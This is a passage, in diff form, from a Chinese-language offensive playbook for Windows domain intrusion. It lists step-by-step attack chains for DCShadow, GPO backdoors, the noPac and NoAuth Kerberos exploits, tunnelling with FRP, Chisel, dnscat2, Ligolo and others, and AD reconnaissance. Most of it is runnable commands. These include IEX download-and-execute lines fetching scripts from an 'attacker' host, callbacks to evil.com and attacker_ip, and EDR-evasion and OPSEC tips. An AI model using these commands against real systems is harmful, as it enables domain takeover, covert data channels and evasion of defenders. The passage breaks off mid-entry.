+ **攻击链:**
2872
+
2873
+ **1. 注册伪造DC** _[windows]_
2874
+ _注册伪造DC_
2875
+ ```
2876
+ mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
2877
+ 注册伪造DC并修改对象属性
2878
+ ```
2879
+
2880
+ **2. 推送更改** _[windows]_
2881
+ _推送更改_
2882
+ ```
2883
+ 在另一个终端:
2884
+ mimikatz # lsadump::dcshadow /push
2885
+ 推送更改到真实DC
2886
+ ```
2887
+
2888
+ **3. 常见利用** _[windows]_
2889
+ _常见利用场景_
2890
+ ```
2891
+ 修改用户组:
2892
+ /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
2893
+ 添加SID History:
2894
+ /attribute:sidHistory /value:S-1-5-21-xxx-500
2895
+ ```
2896
+
2897
+ ---
2898
+
2899
+ ### 组策略滥用 `group-policy-abuse`
2900
+ 滥用组策略进行横向移动
2901
+ 子类:**组策略** · tags: `gpo` `group-policy` `domain`
2902
+
2903
+ **前置条件:** GPO编辑权限
2904
+
2905
+ **攻击链:**
2906
+
2907
+ **1. 查找可编辑GPO** _[windows]_
2908
+ _查找可编辑GPO_
2909
+ ```
2910
+ Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit }
2911
+ 查找Domain Users可编辑的GPO
2912
+ ```
2913
+
2914
+ **2. 添加计划任务** _[windows]_
2915
+ _添加计划任务_
2916
+ ```
2917
+ New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO"
2918
+ 添加立即执行的计划任务
2919
+ ```
2920
+
2921
+ **3. 添加注册表项** _[windows]_
2922
+ _添加注册表启动项_
2923
+ ```
2924
+ Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe"
2925
+ ```
2926
+
2927
+ ---
2928
+
2929
+ ### SAM The Admin攻击 `sam-the-admin`
2930
+ CVE-2021-42278/CVE-2021-42287域提权
2931
+ 子类:**SAM The Admin** · tags: `ad` `cve-2021-42278` `privilege`
2932
+
2933
+ **前置条件:** 域用户权限;域控制器存在漏洞
2934
+
2935
+ **攻击链:**
2936
+
2937
+ **1. 检测漏洞** _[linux]_
2938
+ _检测漏洞_
2939
+ ```
2940
+ python noPac.py domain.com/user:password -dc-ip DC_IP
2941
+ 检测是否存在漏洞
2942
+ ```
2943
+
2944
+ **2. 利用漏洞** _[linux]_
2945
+ _获取域控权限_
2946
+ ```
2947
+ python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
2948
+ 获取SYSTEM Shell
2949
+ ```
2950
+
2951
+ **3. 执行命令** _[linux]_
2952
+ _执行命令_
2953
+ ```
2954
+ python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami"
2955
+ ```
2956
+
2957
+ ---
2958
+
2959
+ ### NoAuth攻击 `noauth`
2960
+ CVE-2022-33679 Kerberos认证绕过
2961
+ 子类:**NoAuth** · tags: `ad` `cve-2022-33679` `kerberos`
2962
+
2963
+ **前置条件:** 域用户权限;目标账户有RC4密钥
2964
+
2965
+ **攻击链:**
2966
+
2967
+ **1. 检测漏洞** _[linux]_
2968
+ _检测漏洞_
2969
+ ```
2970
+ python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
2971
+ 检测是否存在漏洞
2972
+ ```
2973
+
2974
+ **2. 利用漏洞** _[linux]_
2975
+ _获取TGT_
2976
+ ```
2977
+ python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
2978
+ 获取目标用户TGT
2979
+ ```
2980
+
2981
+ **3. 使用TGT** _[linux]_
2982
+ _使用获取的TGT_
2983
+ ```
2984
+ 设置KRB5CCNAME环境变量
2985
+ export KRB5CCNAME=administrator.ccache
2986
+ 使用psexec.py等工具
2987
+ ```
2988
+
2989
+ ---
2990
+
2991
+
2992
+ ## 隧道代理
2993
+
2994
+ ### FRP内网穿透 `tunnel-frp`
2995
+ 使用FRP建立内网穿透隧道
2996
+ 子类:**TCP隧道** · tags: `frp` `tunnel` `proxy` `nat`
2997
+
2998
+ **前置条件:** 公网服务器;内网机器可访问公网;FRP工具
2999
+
3000
+ **攻击链:**
3001
+
3002
+ **1. 服务端配置** _[linux]_
3003
+ _FRP服务端配置文件frps.ini_
3004
+ ```
3005
+ [common]
3006
+ bind_port = 7000
3007
+ ```
3008
+
3009
+ **2. 客户端配置** _[windows]_
3010
+ _FRP客户端配置文件frpc.ini_
3011
+ ```
3012
+ [common]
3013
+ server_addr = attacker_ip
3014
+ server_port = 7000
3015
+
3016
+ [rdp]
3017
+ type = tcp
3018
+ local_ip = 127.0.0.1
3019
+ local_port = 3389
3020
+ remote_port = 3389
3021
+ ```
3022
+
3023
+ **3. 启动服务端** _[linux]_
3024
+ _启动FRP服务端_
3025
+ ```
3026
+ ./frps -c frps.ini
3027
+ ```
3028
+
3029
+ **4. 启动客户端** _[windows]_
3030
+ _启动FRP客户端_
3031
+ ```
3032
+ frpc.exe -c frpc.ini
3033
+ ```
3034
+
3035
+ **分析:** FRP可以建立TCP隧道,将内网服务映射到公网。
3036
+
3037
+ **OPSEC:** FRP流量可能被检测;考虑使用加密传输;注意隐藏进程
3038
+
3039
+ ---
3040
+
3041
+ ### Chisel内网穿透 `tunnel-chisel`
3042
+ 使用Chisel建立内网穿透隧道
3043
+ 子类:**HTTP隧道** · tags: `chisel` `tunnel` `proxy` `http`
3044
+
3045
+ **前置条件:** 公网服务器;内网机器可访问公网;Chisel工具
3046
+
3047
+ **攻击链:**
3048
+
3049
+ **1. 服务端** _[linux]_
3050
+ _启动Chisel服务端_
3051
+ ```
3052
+ ./chisel server -p 8000 --reverse
3053
+ ```
3054
+
3055
+ **2. 反向SOCKS** _[windows]_
3056
+ _建立反向SOCKS代理_
3057
+ ```
3058
+ chisel.exe client attacker_ip:8000 R:socks
3059
+ ```
3060
+
3061
+ **3. 端口转发** _[windows]_
3062
+ _端口转发_
3063
+ ```
3064
+ chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389
3065
+ ```
3066
+
3067
+ **分析:** Chisel可以建立HTTP隧道,穿透防火墙。
3068
+
3069
+ **OPSEC:** Chisel使用HTTP协议;可以绑定域名伪装;流量加密
3070
+
3071
+ ---
3072
+
3073
+ ### ReGeorg隧道 `tunnel-regeorg`
3074
+ 通过Web Shell建立隧道
3075
+ 子类:**ReGeorg** · tags: `tunnel` `regeorg` `proxy`
3076
+
3077
+ **前置条件:** Web Shell上传;支持脚本语言
3078
+
3079
+ **攻击链:**
3080
+
3081
+ **1. 上传隧道脚本**
3082
+ _上传对应语言的隧道脚本_
3083
+ ```
3084
+ 上传tunnel.aspx/tunnel.jsp/tunnel.php到目标Web服务器
3085
+ ```
3086
+
3087
+ **2. 建立隧道** _[linux]_
3088
+ _启动SOCKS代理_
3089
+ ```
3090
+ python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.aspx
3091
+ ```
3092
+
3093
+ **3. 配置代理** _[linux]_
3094
+ _通过代理扫描_
3095
+ ```
3096
+ proxychains nmap -sT -Pn target
3097
+ ```
3098
+
3099
+ ---
3100
+
3101
+ ### SSH本地转发 `tunnel-ssh-local`
3102
+ SSH本地端口转发
3103
+ 子类:**SSH** · tags: `ssh` `tunnel` `local`
3104
+
3105
+ **前置条件:** SSH访问权限
3106
+
3107
+ **攻击链:**
3108
+
3109
+ **1. 本地转发** _[linux]_
3110
+ _将目标80端口映射到本地8080_
3111
+ ```
3112
+ ssh -L 8080:target:80 user@jump
3113
+ ```
3114
+
3115
+ ---
3116
+
3117
+ ### SSH远程转发 `tunnel-ssh-remote`
3118
+ SSH远程端口转发
3119
+ 子类:**SSH** · tags: `ssh` `tunnel` `remote`
3120
+
3121
+ **前置条件:** SSH访问权限
3122
+
3123
+ **攻击链:**
3124
+
3125
+ **1. 远程转发** _[linux]_
3126
+ _将本地80端口映射到远程8080_
3127
+ ```
3128
+ ssh -R 8080:localhost:80 user@jump
3129
+ ```
3130
+
3131
+ ---
3132
+
3133
+ ### SSH动态转发 `tunnel-ssh-dynamic`
3134
+ SSH动态SOCKS代理
3135
+ 子类:**SSH** · tags: `ssh` `tunnel` `socks`
3136
+
3137
+ **前置条件:** SSH访问权限
3138
+
3139
+ **攻击链:**
3140
+
3141
+ **1. 动态转发** _[linux]_
3142
+ _创建SOCKS代理_
3143
+ ```
3144
+ ssh -D 1080 user@jump
3145
+ ```
3146
+
3147
+ **2. 使用代理** _[linux]_
3148
+ _通过SOCKS代理访问_
3149
+ ```
3150
+ proxychains nmap -sT -Pn target
3151
+ ```
3152
+
3153
+ ---
3154
+
3155
+ ### DNS隧道 `tunnel-dns`
3156
+ 通过DNS协议建立隧道
3157
+ 子类:**DNS** · tags: `dns` `tunnel` `covert`
3158
+
3159
+ **前置条件:** DNS解析权限;可控域名
3160
+
3161
+ **攻击链:**
3162
+
3163
+ **1. 使用dnscat2** _[linux]_
3164
+ _启动dnscat2服务器_
3165
+ ```
3166
+ ruby dnscat2.rb evil.com --dns port=53,domain=evil.com
3167
+ ```
3168
+
3169
+ **2. 客户端连接** _[windows]_
3170
+ _客户端连接到服务器_
3171
+ ```
3172
+ dnscat2-v0.07-client-win32.exe --dns domain=evil.com --secret SECRET
3173
+ ```
3174
+
3175
+ **3. 建立隧道** _[linux]_
3176
+ _建立SOCKS隧道_
3177
+ ```
3178
+ session -i 1
3179
+ listen 127.0.0.1:1080 10.0.0.1:1080
3180
+ ```
3181
+
3182
+ ---
3183
+
3184
+ ### ICMP隧道 `tunnel-icmp`
3185
+ 通过ICMP协议建立隧道
3186
+ 子类:**ICMP** · tags: `icmp` `tunnel` `covert`
3187
+
3188
+ **前置条件:** ICMP允许通过;管理员权限
3189
+
3190
+ **攻击链:**
3191
+
3192
+ **1. 使用icmptunnel** _[linux]_
3193
+ _服务端启动_
3194
+ ```
3195
+ icmptunnel -s 10.0.0.1
3196
+ ```
3197
+
3198
+ **2. 客户端连接** _[linux]_
3199
+ _客户端连接_
3200
+ ```
3201
+ icmptunnel -c attacker.com
3202
+ ```
3203
+
3204
+ ---
3205
+
3206
+ ### Ligolo隧道 `tunnel-ligolo`
3207
+ Ligolo内网穿透工具
3208
+ 子类:**Ligolo** · tags: `ligolo` `tunnel` `proxy`
3209
+
3210
+ **前置条件:** 可执行代理程序
3211
+
3212
+ **攻击链:**
3213
+
3214
+ **1. 启动服务端** _[linux]_
3215
+ _启动Ligolo代理服务_
3216
+ ```
3217
+ sudo proxy -selfcert
3218
+ ```
3219
+
3220
+ **2. 运行代理** _[windows]_
3221
+ _目标机器运行代理_
3222
+ ```
3223
+ agent.exe -connect attacker:11601 -ignore-cert
3224
+ ```
3225
+
3226
+ **3. 创建隧道** _[linux]_
3227
+ _创建隧道接口_
3228
+ ```
3229
+ session
3230
+ start
3231
+ ```
3232
+
3233
+ ---
3234
+
3235
+ ### SOCKS代理 `socks-proxy`
3236
+ 建立SOCKS代理访问内网
3237
+ 子类:**SOCKS** · tags: `socks` `proxy` `tunnel`
3238
+
3239
+ **前置条件:** 已有内网访问点
3240
+
3241
+ **攻击链:**
3242
+
3243
+ **1. SSH SOCKS代理** _[linux]_
3244
+ _SSH动态端口转发_
3245
+ ```
3246
+ ssh -D 1080 user@jumpserver
3247
+
3248
+ ssh -D 1080 -N -f user@jumpserver
3249
+ ```
3250
+
3251
+ **2. ProxyChains配置** _[linux]_
3252
+ _配置ProxyChains_
3253
+ ```
3254
+ 编辑 /etc/proxychains.conf:
3255
+ [ProxyList]
3256
+ socks5 127.0.0.1 1080
3257
+
3258
+ 使用:
3259
+ proxychains nmap -sT target
3260
+ ```
3261
+
3262
+ **3. Cobalt Strike SOCKS** _[windows]_
3263
+ _CS SOCKS代理_
3264
+ ```
3265
+ beacon> socks 1080
3266
+ 在CS中启动SOCKS代理
3267
+ ```
3268
+
3269
+ **4. Metasploit SOCKS** _[linux]_
3270
+ _MSF SOCKS代理_
3271
+ ```
3272
+ use auxiliary/server/socks_proxy
3273
+ set SRVPORT 1080
3274
+ set VERSION 4a
3275
+ run
3276
+ ```
3277
+
3278
+ ---
3279
+
3280
+ ### Ngrok内网穿透 `tunnel-ngrok`
3281
+ 使用Ngrok建立内网穿透
3282
+ 子类:**Ngrok** · tags: `ngrok` `tunnel` `penetration`
3283
+
3284
+ **前置条件:** Ngrok账号;可访问外网
3285
+
3286
+ **攻击链:**
3287
+
3288
+ **1. 安装Ngrok**
3289
+ _安装并配置Ngrok_
3290
+ ```
3291
+ 下载: https://ngrok.com/download
3292
+ tar -xvzf ngrok.zip
3293
+ ./ngrok authtoken YOUR_TOKEN
3294
+ ```
3295
+
3296
+ **2. HTTP隧道**
3297
+ _创建HTTP隧道_
3298
+ ```
3299
+ ./ngrok http 80
3300
+ 将本地80端口映射到公网
3301
+ ```
3302
+
3303
+ **3. TCP隧道**
3304
+ _创建TCP隧道_
3305
+ ```
3306
+ ./ngrok tcp 3389
3307
+ 将本地3389端口映射到公网
3308
+ ```
3309
+
3310
+ **4. 自定义域名**
3311
+ _使用自定义域名_
3312
+ ```
3313
+ ./ngrok http -hostname=custom.domain.com 80
3314
+ ```
3315
+
3316
+ ---
3317
+
3318
+ ### EW内网穿透 `tunnel-ew`
3319
+ 使用EW建立内网穿透
3320
+ 子类:**EW** · tags: `ew` `tunnel` `socks`
3321
+
3322
+ **前置条件:** 已有内网访问点
3323
+
3324
+ **攻击链:**
3325
+
3326
+ **1. 正向代理** _[linux]_
3327
+ _正向SOCKS代理_
3328
+ ```
3329
+ ./ew -s ssocksd -l 1080
3330
+ 在跳板机上启动SOCKS代理
3331
+ ```
3332
+
3333
+ **2. 反向代理** _[linux]_
3334
+ _反向SOCKS代理_
3335
+ ```
3336
+ 攻击机: ./ew -s rcsocks -l 1080 -e 8888
3337
+ 跳板机: ./ew -s rssocks -d attacker_ip -e 8888
3338
+ ```
3339
+
3340
+ **3. 多级级联** _[linux]_
3341
+ _多级级联_
3342
+ ```
3343
+ ./ew -s lcx_tran -l 1080 -f 2nd_hop -g 9999
3344
+ 多级跳板穿透
3345
+ ```
3346
+
3347
+ ---
3348
+
3349
+ ### Venom内网穿透 `tunnel-venom`
3350
+ 使用Venom建立内网穿透
3351
+ 子类:**Venom** · tags: `venom` `tunnel` `socks`
3352
+
3353
+ **前置条件:** 已有内网访问点
3354
+
3355
+ **攻击链:**
3356
+
3357
+ **1. 启动服务端** _[linux]_
3358
+ _启动服务端_
3359
+ ```
3360
+ ./venom_server -lport 9999
3361
+ 在攻击机启动服务端
3362
+ ```
3363
+
3364
+ **2. 连接客户端**
3365
+ _连接服务端_
3366
+ ```
3367
+ ./venom_client -rhost attacker_ip -rport 9999
3368
+ 在跳板机连接服务端
3369
+ ```
3370
+
3371
+ **3. 建立SOCKS**
3372
+ _建立SOCKS代理_
3373
+ ```
3374
+ Venom > socks 1080
3375
+ 建立SOCKS代理
3376
+ ```
3377
+
3378
+ **4. 端口转发**
3379
+ _端口转发_
3380
+ ```
3381
+ Venom > lforward 127.0.0.1 3389 13389
3382
+ 将内网3389转发到本地13389
3383
+ ```
3384
+
3385
+ ---
3386
+
3387
+
3388
+ ## 信息收集
3389
+
3390
+ ### BloodHound域分析 `bloodhound-enumeration`
3391
+ 使用BloodHound分析Active Directory攻击路径
3392
+ 子类:**域分析** · tags: `bloodhound` `active-directory` `enumeration` `neo4j`
3393
+
3394
+ **前置条件:** 域环境;域用户凭证;BloodHound工具
3395
+
3396
+ **攻击链:**
3397
+
3398
+ **1. SharpHound采集** _[windows]_
3399
+ _使用SharpHound采集域信息_
3400
+ ```
3401
+ SharpHound.exe -c All
3402
+ ```
3403
+
3404
+ **2. PowerShell采集** _[windows]_
3405
+ _通过PowerShell远程加载采集_
3406
+ ```
3407
+ IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All # security-allowlist: SEC005
3408
+ ```
3409
+
3410
+ **3. bloodhound-python** _[linux]_
3411
+ _使用Python版本采集_
3412
+ ```
3413
+ bloodhound-python -u user -p password -d target.com -ns dc_ip
3414
+ ```
3415
+
3416
+ **4. 指定域控制器** _[windows]_
3417
+ _指定域控制器采集_
3418
+ ```
3419
+ SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.target.com
3420
+ ```
3421
+
3422
+ **5. 启动Neo4j** _[linux]_
3423
+ _启动Neo4j数据库_
3424
+ ```
3425
+ sudo neo4j console
3426
+ ```
3427
+
3428
+ **6. Cypher查询域管**
3429
+ _查询域管理员用户_
3430
+ ```
3431
+ MATCH (n:User) WHERE n.admincount=true RETURN n
3432
+ ```
3433
+
3434
+ **7. 查询攻击路径**
3435
+ _查询到域管理员的最短路径_
3436
+ ```
3437
+ MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
3438
+ ```
3439
+
3440
+ **EDR 绕过变体:**
3441
+
3442
+ **1. 隐蔽采集**
3443
+ _随机化文件名避免检测_
3444
+ ```
3445
+ SharpHound.exe -c All --LdapUsername user --LdapPassword pass --OutputDirectory C:\Users\Public --RandomizeFilenames
3446
+ ```
3447
+
3448
+ **分析:** BloodHound可发现域内的攻击路径,如权限提升路径、会话信息、组关系等。
3449
+
3450
+ **OPSEC:** BloodHound采集会产生大量LDAP查询;可能触发域控制器告警;建议在非工作时间执行
3451
+
3452
+ ---
3453
+
3454
+ ### SPN扫描 `spn-scan`
3455
+ 扫描域内服务主体名称
3456
+ 子类:**SPN** · tags: `spn` `kerberos` `enumeration`
3457
+
3458
+ **前置条件:** 域环境;任意域用户凭证
3459
+
3460
+ **攻击链:**
3461
+
3462
+ **1. 查询所有SPN** _[windows]_
3463
+ _查询域内所有SPN_
3464
+ ```
3465
+ setspn -T domain.com -Q */*
3466
+ ```
3467
+
3468
+ **2. PowerShell查询** _[windows]_
3469
+ _PowerShell查询SPN用户_
3470
+ ```
3471
+ Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName
3472
+ ```
3473
+
3474
+ **3. Impacket查询** _[linux]_
3475
+ _Impacket查询SPN_
3476
+ ```
3477
+ GetUserSPNs.py domain/user:password -dc-ip dc_ip
3478
+ ```
3479
+
3480
+ **4. 查询特定服务** _[windows]_
3481
+ _查询HTTP服务的SPN_
3482
+ ```
3483
+ setspn -T domain.com -Q HTTP/*
3484
+ ```
3485
+
3486
+ **5. 查找SQL服务** _[windows]_
3487
+ _查询MSSQL服务的SPN_
3488
+ ```
3489
+ setspn -T domain.com -Q MSSQLSvc/*
3490
+ ```
3491
+
3492
+ **分析:** SPN扫描可以发现域内运行的服务账户,为Kerberoasting攻击做准备。
3493
+
3494
+ **OPSEC:** SPN查询是正常的域操作;不会触发明显告警;可用于后续Kerberoasting攻击
3495
+
3496
+ ---
3497
+
3498
+ ### 内网端口扫描 `port-scan`
3499
+ 内网端口扫描与服务识别
3500
+ 子类:**端口扫描** · tags: `nmap` `port-scan` `enumeration`
3501
+
3502
+ **前置条件:** 内网访问权限;扫描工具
3503
+
3504
+ **攻击链:**
3505
+
3506
+ **1. 快速扫描** _[linux]_
3507
+ _快速扫描常用端口_
3508
+ ```
3509
+ nmap -sS -T4 -F 192.168.1.0/24
3510
+ ```
3511
+
3512
+ **2. 全端口扫描** _[linux]_
3513
+ _扫描所有65535端口_
3514
+ ```
3515
+ nmap -sS -p- 192.168.1.1
3516
+ ```
3517
+
3518
+ **3. 服务识别** _[linux]_
3519
+ _服务版本探测和脚本扫描_
3520
+ ```
3521
+ nmap -sV -sC 192.168.1.1
3522
+ ```
3523
+
3524
+ **4. 内网存活探测** _[linux]_
3525
+ _Ping扫描发现存活主机_
3526
+ ```
3527
+ nmap -sn 192.168.1.0/24
3528
+ ```
3529
+
3530
+ **5. Masscan快速扫描** _[linux]_
3531
+ _高速端口扫描_
3532
+ ```
3533
+ masscan -p1-65535 192.168.1.0/24 --rate=1000
3534
+ ```
3535
+
3536
+ **6. 操作系统识别** _[linux]_
3537
+ _识别目标操作系统_
3538
+ ```
3539
+ nmap -O 192.168.1.1
3540
+ ```
3541
+
3542
+ **7. UDP扫描** _[linux]_
3543
+ _扫描常用UDP端口_
3544
+ ```
3545
+ nmap -sU --top-ports 20 192.168.1.1
3546
+ ```
3547
+
3548
+ **8. 漏洞扫描** _[linux]_
3549
+ _使用漏洞扫描脚本_
3550
+ ```
3551
+ nmap --script vuln 192.168.1.1
3552
+ ```
3553
+
3554
+ **EDR 绕过变体:**
3555
+
3556
+ **1. 隐蔽扫描**
3557
+ _低速分片扫描,添加随机数据_
3558
+ ```
3559
+ nmap -sS -T2 -f --data-length 50 192.168.1.1
3560
+ ```
3561
+
3562
+ **2. 诱饵扫描**
3563
+ _使用诱饵IP混淆扫描来源_
3564
+ ```
3565
+ nmap -sS -D RND:10 192.168.1.1
3566
+ ```
3567
+
3568
+ **分析:** 端口扫描可以发现内网中开放的服务,识别潜在的攻击目标。
3569
+
3570
+ **OPSEC:** 高速扫描可能触发IDS告警;建议使用较低速率;分时段进行扫描
3571
+
3572
+ ---
3573
+
3574
+ ### 域信息收集 `domain-recon`
3575
+ Active Directory域环境信息收集
3576
+ 子类:**域信息** · tags: `active-directory` `domain` `enumeration`
3577
+
3578
+ **前置条件:** 域环境;任意域用户凭证
3579
+
3580
+ **攻击链:**
3581
+
3582
+ **1. 域信息** _[windows]_
3583
+ _获取域信息_
3584
+ ```
3585
+ net config workstation
3586
+ ```
3587
+
3588
+ **2. 域控制器** _[windows]_
3589
+ _列出域控制器_
3590
+ ```
3591
+ nltest /dclist:domain.com
3592
+ ```
3593
+
3594
+ **3. 域用户** _[windows]_
3595
+ _列出域用户_
3596
+ ```
3597
+ net user /domain
3598
+ ```
3599
+
3600
+ **4. 域管理员** _[windows]_
3601
+ _列出域管理员组_
3602
+ ```
3603
+ net group "Domain Admins" /domain
3604
+ ```
3605
+
3606
+ **5. 域信任关系** _[windows]_
3607
+ _列出域信任关系_
3608
+ ```
3609
+ nltest /domain_trusts
3610
+ ```
3611
+
3612
+ **6. PowerView收集** _[windows]_
3613
+ _使用PowerView收集域信息_
3614
+ ```
3615
+ IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1"); Get-NetDomain # security-allowlist: SEC005
3616
+ ```
3617
+
3618
+ **7. 获取域策略** _[windows]_
3619
+ _获取域密码策略_
3620
+ ```
3621
+ Get-DomainPolicy
3622
+ ```
3623
+
3624
+ **8. 获取域控制器** _[windows]_
3625
+ _获取域控制器信息_
3626
+ ```
3627
+ Get-NetDomainController
3628
+ ```
3629
+
3630
+ **分析:** 域信息收集是内网渗透的基础,可以了解域结构、用户、组等信息。
3631
+
3632
+ **OPSEC:** 域信息收集是正常操作;不会触发明显告警;为后续攻击做准备
3633
+
3634
+ ---
3635
+
3636
+ ### 网络信息收集 `network-recon`
3637
+ 内网网络拓扑和配置信息收集
3638
+ 子类:**网络信息** · tags: `network` `enumeration` `topology`
3639
+
3640
+ **前置条件:** 内网访问权限
3641
+
3642
+ **攻击链:**
3643
+
3644
+ **1. 网络配置** _[windows]_
3645
+ _查看网络配置_
3646
+ ```
3647
+ ipconfig /all
3648
+ ```
3649
+
3650
+ **2. 路由表** _[windows]_
3651
+ _查看路由表_
3652
+ ```
3653
+ route print
3654
+ ```
3655
+
3656
+ **3. ARP缓存** _[windows]_
3657
+ _查看ARP缓存_
3658
+ ```
3659
+ arp -a
3660
+ ```
3661
+
3662
+ **4. 网络连接** _[windows]_
3663
+ _查看网络连接_
3664
+ ```
3665
+ netstat -ano
3666
+ ```
3667
+
3668
+ **5. DNS缓存** _[windows]_
3669
+ _查看DNS缓存_
3670
+ ```
3671
+ ipconfig /displaydns
3672
+ ```
3673
+
3674
+ **6. Linux网络配置** _[linux]_
3675
+ _Linux查看网络配置_
3676
+ ```
3677
+ ifconfig -a
3678
+ ```
3679
+
3680
+ **7. Linux路由表** _[linux]_
3681
+ _Linux查看路由表_
3682
+ ```
3683
+ route -n
3684
+ ```
3685
+
3686
+ **8. traceroute** _[windows]_
3687
+ _追踪路由_
3688
+ ```
3689
+ tracert target_ip
3690
+ ```
3691
+
3692
+ **分析:** 网络信息收集可以了解内网拓扑、网段划分、网关等信息。
3693
+
3694
+ **OPSEC:** 这些是正常的网络管理命令;不会触发告警;为后续横向移动做准备
3695
+
3696
+ ---
3697
+
3698
+ ### 共享枚举 `share-enum`
3699
+ 枚举网络共享资源
3700
+ 子类:**共享** · tags: `smb` `share` `enumeration`
3701
+
3702
+ **前置条件:** 内网访问权限
3703
+
3704
+ **攻击链:**
3705
+
3706
+ **1. 枚举共享** _[windows]_
3707
+ _查看本地共享_
3708
+ ```
3709
+ net share
3710
+ ```
3711
+
3712
+ **2. 查看远程共享** _[windows]_
3713
+ _查看远程机器共享_
3714
+ ```
3715
+ net view \\target_ip
3716
+ ```
3717
+
3718
+ **3. SMBMap枚举** _[linux]_
3719
+ _使用SMBMap枚举共享_
3720
+ ```
3721
+ smbmap -H target_ip -u user -p password
3722
+ ```
3723
+
3724
+ **4. CrackMapExec枚举** _[linux]_
3725
+ _使用CME枚举共享_
3726
+ ```
3727
+ crackmapexec smb target_ip -u user -p password --shares
3728
+ ```
3729
+
3730
+ **5. smbclient枚举** _[linux]_
3731
+ _使用smbclient枚举_
3732
+ ```
3733
+ smbclient -L target_ip -U user%password
3734
+ ```
3735
+
3736
+ **6. PowerView枚举** _[windows]_
3737
+ _查找有趣的共享文件_
3738
+ ```
3739
+ Find-InterestingDomainShareFile
3740
+ ```
3741
+
3742
+ **分析:** 共享枚举可以发现敏感文件、配置文件、备份文件等有价值的信息。
3743
+
3744
+ **OPSEC:** 共享枚举是正常操作;可能发现敏感文件;注意文件访问日志
3745
+
3746
+ ---
3747
+
3748
+ ### 用户枚举 `user-enum`
3749
+ 枚举域内用户信息
3750
+ 子类:**用户** · tags: `user` `enumeration` `active-directory`
3751
+
3752
+ **前置条件:** 域环境;任意域用户凭证
3753
+
3754
+ **攻击链:**
3755
+
3756
+ **1. 列出域用户** _[windows]_
3757
+ _列出所有域用户_
3758
+ ```
3759
+ net user /domain
3760
+ ```
3761
+
3762
+ **2. 用户详细信息** _[windows]_
3763
+ _查看用户详细信息_
3764
+ ```
3765
+ net user username /domain
3766
+ ```
3767
+
3768
+ **3. PowerView枚举** _[windows]_
3769
+ _使用PowerView枚举用户_
3770
+ ```
3771
+ Get-NetUser | select samaccountname,description,admincount
3772
+ ```
3773
+
3774
+ **4. 查找管理员** _[windows]_
3775
+ _查找域管理员_
3776
+ ```
3777
+ Get-NetUser -AdminCount | select samaccountname
3778
+ ```
3779
+
3780
+ **5. 查找活跃用户** _[windows]_
3781
+ _查找最近登录的用户_
3782
+ ```
3783
+ Get-NetUser | Where-Object {$_.lastlogon -gt (Get-Date).AddDays(-30)}
3784
+ ```
3785
+
3786
+ **6. Impacket枚举** _[linux]_
3787
+ _使用Impacket枚举域用户_
3788
+ ```
3789
+ GetADUsers.py -all domain/user:password -dc-ip dc_ip
3790
+ ```
3791
+
3792
+ **分析:** 用户枚举可以发现高价值目标、活跃用户、服务账户等。
3793
+
3794
+ **OPSEC:** 用户枚举是正常操作;为后续攻击选择目标;注意识别蜜罐账户
3795
+
3796
+ ---
3797
+
3798
+ ### 组枚举 `group-enum`
3799
+ 枚举域内组信息
3800
+ 子类:**组** · tags: `group` `enumeration` `active-directory`
3801
+
3802
+ **前置条件:** 域环境;任意域用户凭证
3803
+
3804
+ **攻击链:**
3805
+
3806
+ **1. 列出域组** _[windows]_
3807
+ _列出所有域组_
3808
+ ```
3809
+ net group /domain
3810
+ ```
3811
+
3812
+ **2. 组成员** _[windows]_
3813
+ _查看域管理员组成员_
3814
+ ```
3815
+ net group "Domain Admins" /domain
3816
+ ```
3817
+
3818
+ **3. PowerView枚举** _[windows]_
3819
+ _使用PowerView枚举组_
3820
+ ```
3821
+ Get-NetGroup | select samaccountname,admincount
3822
+ ```
3823
+
3824
+ **4. 查找高权限组** _[windows]_
3825
+ _查找高权限组_
3826
+ ```
3827
+ Get-NetGroup -AdminCount | select samaccountname
3828
+ ```
3829
+
3830
+ **5. 组成员关系** _[windows]_
3831
+ _获取组成员_
3832
+ ```
3833
+ Get-NetGroupMember "Domain Admins" | select membername
3834
+ ```
3835
+
3836
+ **6. 递归组成员** _[windows]_
3837
+ _递归获取组成员(包括嵌套组)_
3838
+ ```
3839
+ Get-NetGroupMember "Domain Admins" -Recurse
3840
+ ```
3841
+
3842
+ **分析:** 组枚举可以发现高权限组、组成员关系、嵌套组等。
3843
+
3844
+ **OPSEC:** 组枚举是正常操作;重点关注高权限组;注意嵌套组关系
3845
+
3846
+ ---
3847
+
3848
+ ### GPO枚举 `gpo-enum`
3849
+ 枚举组策略对象
3850
+ 子类:**GPO** · tags: `gpo` `group-policy` `enumeration`
3851
+
3852
+ **前置条件:** 域环境;任意域用户凭证
3853
+
3854
+ **攻击链:**
3855
+
3856
+ **1. 列出GPO** _[windows]_
3857
+ _列出所有GPO_
3858
+ ```
3859
+ Get-GPO -All
3860
+ ```
3861
+
3862
+ **2. PowerView枚举** _[windows]_
3863
+ _使用PowerView枚举GPO_
3864
+ ```
3865
+ Get-NetGPO | select displayname,whencreated
3866
+ ```
3867
+
3868
+ **3. GPO权限** _[windows]_
3869
+ _查找GPO中的受限组_
3870
+ ```
3871
+ Get-NetGPOGroup
3872
+ ```
3873
+
3874
+ **4. GPP密码** _[windows]_
3875
+ _查找GPP中的密码_
3876
